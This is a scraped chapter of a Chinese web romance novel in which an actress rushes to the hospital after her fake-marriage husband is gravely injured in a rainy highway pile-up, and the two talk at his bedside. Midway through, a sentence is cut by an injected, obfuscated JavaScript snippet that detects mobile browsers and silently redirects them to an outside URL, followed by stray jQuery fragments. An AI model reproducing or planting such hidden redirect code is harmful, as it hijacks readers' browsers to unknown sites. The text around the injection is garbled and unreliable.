文趣网 > 都市小说 > 婚姻饰演 > 11. 意外
    窗外雨声淅沥。

    向锦汐以为自己耳朵出了问题,或者今天是新确立的愚人节。

    今早还笑吟吟和她告别的贺珣,怎么会在返程的高速公路上出车祸,伤情严重到现在还没脱离危险?

    脑袋里一片空白。

    该怎么办?

    是继续专注她的拍摄,等一切结束再返回苏桡探望;还是饰演心痛不已的新婚夫妻,等雨停让司机送她到苏桡的医院?

    向锦汐什么也没选。

    在衣柜里翻出来栖宁首日背的包,拉开包链将里面的东西全倒在床上,纸巾粉饼口红一堆乱七八糟左找右找终于找到不显眼的车钥匙,随手扯一件不知什么颜色和厚度的外套,略过房间门口送晚餐的工作人员,乘电梯直达酒店的停车场。

    点火,给油。米色的轿车驶出地下停车场,细密的雨滴一个接一个击打在挡风玻璃上。

    雨刮器一左一右高频率刮着水幕,汽车中控报雨天小心湿滑的提醒。

    城市道路人车密集。路口闪烁九十秒的红灯,向锦汐踩停三十码的速度,心里忽生一股躁意。

    她不知自己怎会没经思考,就将车辆的目的地定到苏桡市第一医院。

    可能是饰演恩爱夫妻的角色入了戏——她就是这般称职的演员,但凡承诺,一定能演到自己都沉迷。

    雨刮器发出嘎吱嘎吱的擦水声,向锦汐看着红灯倒计时结束,跳变成42秒的绿灯,绿色的数字眨眼间在屏幕上晕成模糊的斑。

    早晨的雨比此刻大几倍,向锦汐不知道通往苏桡的高速是否也如此。那时贺珣看见的又是怎样的画面,比她模糊的光斑,还是一片朦胧的雾灯和双闪。

    驶到宽阔的城市快速路,向锦汐的速度已经踩到八十,如果没有中控提醒前方限速拍照,她可能会踩飞到九十一百码。

    她想不通,做事严谨细致的贺珣,怎么可能发生这样的意外。

    温亦琬在电话里说得颠三倒四,不知是追尾货车,还是小车变道打滑夹击,可能贺家也没调查清楚。

    总之小姑娘带着哭腔的表达,向锦汐一句也没听清。她当然有些乱。

    她不希望自己的合作伙伴发生任何危险。不论是不是她从前喜欢过的人。

    *

    贺珣睁开双眼的时候,病房外已是无边黑夜,天上挂着皎洁的月,在他的窗前。

    墙上贴着住院的注意事项,角落有“苏桡市第一医院”的标志。

    麻药的药效渐渐消退,头部四肢胸腹……全身各处传来不同程度的痛。

    除了手,哪里都动不了。他只能平静地望着天花板,脑中慢慢回忆意外发生的场景。

    暴雨的高速路,能见度极低,他打开雾灯,和前车保持二百米开外的距离。

    忽然,一个白车,刷一下,从超车道超他的车,轮胎溅起的水全打在他的挡风玻璃。接近十秒的时间,他完全失去了路前方和左后侧的视野。

    待恢复能见度,刚才超他车的白车正往他的车道变道,他立即减速保持车距。

    谁知那白车突然打滑,方向打偏,整个车撞上中央隔离栏。

    眼见来不及刹停,趁超车道无车,他立即变道绕开。

    就在这时,先前跟在他车后的货车,不知是司机打盹还是出门没带眼睛,在他变道驶过之后,径直撞上那白车。

    八九十码速度的大车动量,瞬间将白车撞飞几里远,他的车便被那飞来的白车撞到侧翻。

    接着后方来车来不及刹停,再将他的车追尾。

    只觉天旋地转,眼前的画面定格在倒立的景象,雨点在他的耳边噼里啪啦,砸成一朵又一朵蹦跳的花,最后失去意识。

    再睁开眼时,便来到现在的场景。

    此刻躺在医院的病床上,贺珣心叹自己真命大。只是又要惹家人朋友担心。

    病房里,目光所及之处一个人没有。

    可能太晚,都回去休息了。

    等明天得嘱咐兄长,别将事情传播太多,最好连妹妹也瞒着,不然一定会传到锦汐那里去。

    好不容易回去演戏,不要扰她清净了。贺珣这样想。

    夜晚空气安静,他觉得无聊,动了动手指。

    这时指尖传来一股温热的触感,他下意识两指轻合。

    捏起来,怎么像软软的……肉?

    因为平躺的视线,贺珣看不清手边的方向,他想挪脑袋看一看到底是个人还是别的。

    刚一抬脸,扯到胸腔部位,痛意铺天盖地涌来,没忍住发出声轻嘶。

    床边的人听见动静,惊地一下坐起。

    “贺珣!”

    女人发丝散乱,身上连件外套也没披。她坐直身体,急忙搓搓睡眼惺忪的眼睛:“你醒了!”

    “锦汐?”贺珣以为自己看错了。他才醒过来,说话声比较虚,“你怎么在这里?”

    向锦汐顾不上回答问题:“有哪里不舒服,需要叫医生吗?我先叫一下吧!”

    边说边按响床头的呼叫铃。

    夜间值班的医生很快赶来,嘱咐些必要的注意事项。说一句,向锦汐点一个头。

    贺珣觉得还挺好笑。昨天她躺着,他坐着,今天成了两者对调。

    至于医生说了什么,他没注意听。

    没多久医生离开,房间里安静下来,向锦汐坐回床铺旁的椅子,问贺珣有没有哪里疼,或者不舒服。

    这话刚才的医生也问过。

    贺珣再回答一遍:“没有哪里疼,也没有不舒服。”

    “所以,你怎么一个人在这里?”

    “我让妈和琬琬先回去休息,”向锦汐回答他,“大哥要照顾小孩,二哥解决完事,晚些来换我。”

    看来全家都知道了。贺珣轻叹口气:“辛苦你跑一趟。”

    什么辛苦不辛苦。这里没有外人,向锦汐担心一晚上的情绪终于有了出口,几乎发泄地说一句:“你吓死我了!”

    她到苏桡的时候,贺珣刚从手术室出来。平时高大健康的男人,面色如纸般躺在病床上。

    向锦汐从没见过这样的场景。她都不记得那刻自己的心脏有没有在跳了,只觉得四肢突然被抽了劲,若不是扶着冷冰冰的墙壁,可能她也会摔倒在地。

    向锦汐当然知道这事怪不得贺珣,只是心被悬着的感觉非常难受,她很少这样失态。

    之前温亦琬转述,说医生说的,再晚送来多少多少分钟,脾脏出血过多,可能就来不及了。

    昨天还给她送薄荷糕、和她聊到大半夜的人,今天返程路上,却出了这样严重的意外。

    叫人如何不心急?

    “没事,不是好好的么。”贺珣的嗓音有些哑,却一个又一个问题往外冒,“倒是你,什么时候来的,司机开的车吗?晚餐吃了没有?现在是什么时间了?”

    向锦汐眼底微红,一个一个回答:“晚七点到;我自己从栖宁开过来;二哥买了馄饨,我吃不下;现在是凌晨两点。”

    她的肤色本就白皙,眼睛一红,周围皮肤乃至鼻尖,都会蔓延淡淡的粉色。

    亮白的屋灯照在她毛躁的发丝上,她的脸睡出一个浅浅的印。她的唇没之前润了,纤长的睫也不如先前卷翘了……明明是个特别注重形象管理的敬业演员。

    回答完所有问题,她的嘴唇紧闭着,什么也没再说,泛红的眼眶蓄着摇晃的光,就这样静静地看着他。

    贺珣的记忆力非常优秀。高中摔得最严重的那次,都把他们班主任吓晕

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767296|209762||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了,手臂、腿上,全是血淋淋的擦伤,锦汐却一滴眼泪没掉。

    可今天,她明明好好的,拍戏摔出的伤口,也渐渐结痂恢复了。

    为什么会难过呢。

    贺珣说不上心里的感觉,像尘土做的房被轻轻一点,塌了,扬起满天碎屑灰尘,又细又密,钻进身上每一处缝隙。

    不知哪里生出一片陌生的响,就这样在别人听不见的他的耳边,荡来又荡去。

    为什么会难过呢,我们只是伪装的夫妻。

    为什么呢。

    他实在想不出头绪。

    不经思绪的下意识,轻着声音叫她一句。

    “锦汐。”

    “做什么。”向锦汐挪凳子,往他脑袋的方向靠。

    贺珣的这只左手还算能用,他慢慢抬起来,抬到向锦汐脸庞的位置,没有任何力气地,捏捏她的脸。

    “怎么还哭了。”

    他的语气轻到听不出是玩笑的陈述,还是认真的询问。

    向锦汐坐在原处。

    她没有想哭,只是想到不久前还在帮她涂药的身影,一夜之间,竟成了差点丢掉性命的伤患,这才意识到生命如何脆弱。才意识到,每个人随时都有几率失去珍贵的另一个人。

    做演员的本就想象力丰满,她忍不住预想那些更严重的可能性。

    她认为自己无法接受。不只是获得丧偶的名声,她不想要贺珣出意外,一点都不想。

    “你有哪里痛吗?”没有回答贺珣的问题,她又问了这一句。

    贺珣又回答:“我没有哪里痛。”

    手指轻轻拍拍她的耳后,他的嗓音很轻:“别担心了。”

    “给我喝些水吧,锦汐。”

    向锦汐抹抹干净眼睛,起身到外面的走廊接热水。

    回来时端着一杯一次性杯装的水,递到贺珣嘴边。

    她突然意识到一个问题:“你躺着,好像喝不了。”

    向锦汐从前被兄姐保护得极为夸张,她不仅没见过遭逢意外的场景,还没有照顾病人的经验。平时怎么喝水就怎么给贺珣接。

    但显然,现在他们需要一根吸管。

    “我去楼下便利店买包吸管。”

    “算了。”大半夜的,医院本来就是恐怖故事的素材库,贺珣不想让她乱跑。

    向锦汐想到之前贺珣的二哥,好像说,他备了住院需要的东西,在病房的储物柜里。

    一边找,一边不满贺珣怕麻烦而妥协的态度:“算了什么算了,难道要我用嘴喂你吗?”

    贺珣又被吓得呛了声,他好痛。

    向锦汐从柜里找到吸管:“二哥好心细,这都备了。”

    将吸管插进杯里,调整到贺珣舒适的角度:“别说二哥看着冷,人挺不错。我们领证结婚,也是二哥送的礼最重。以前听你说二哥多严格,其实他很关心你的嘛。”

    贺珣含着吸管嗯一声,似乎不太想多聊这个话题。

    “什么时候回去拍戏?”他问。

    向锦汐在贺珣尚未苏醒时,已经将自己的事情安排妥当。

    “后续我的戏份不多。我和导演调了时间,二哥和大哥有空的时候,就返回栖宁拍,其他时间来照顾你。”

    贺珣认为没必要:“不用管我,安心拍你的戏。”

    真不领情,向锦汐顿时冷下脸抱手臂:“你以为我想管。奶奶已经知道了,接下来,肯定成群的亲戚朋友来看你。我不在,我的名声怎么办?”

    奶奶已经知道了?贺珣眉头皱起,但听到最后一句,他又关注成向小姐一如既往在意自己的人设。

    要是健康状态,他肯定坐起来给敬业的向寻同志一个大拇指。

    “好的,好的,向小姐随意。”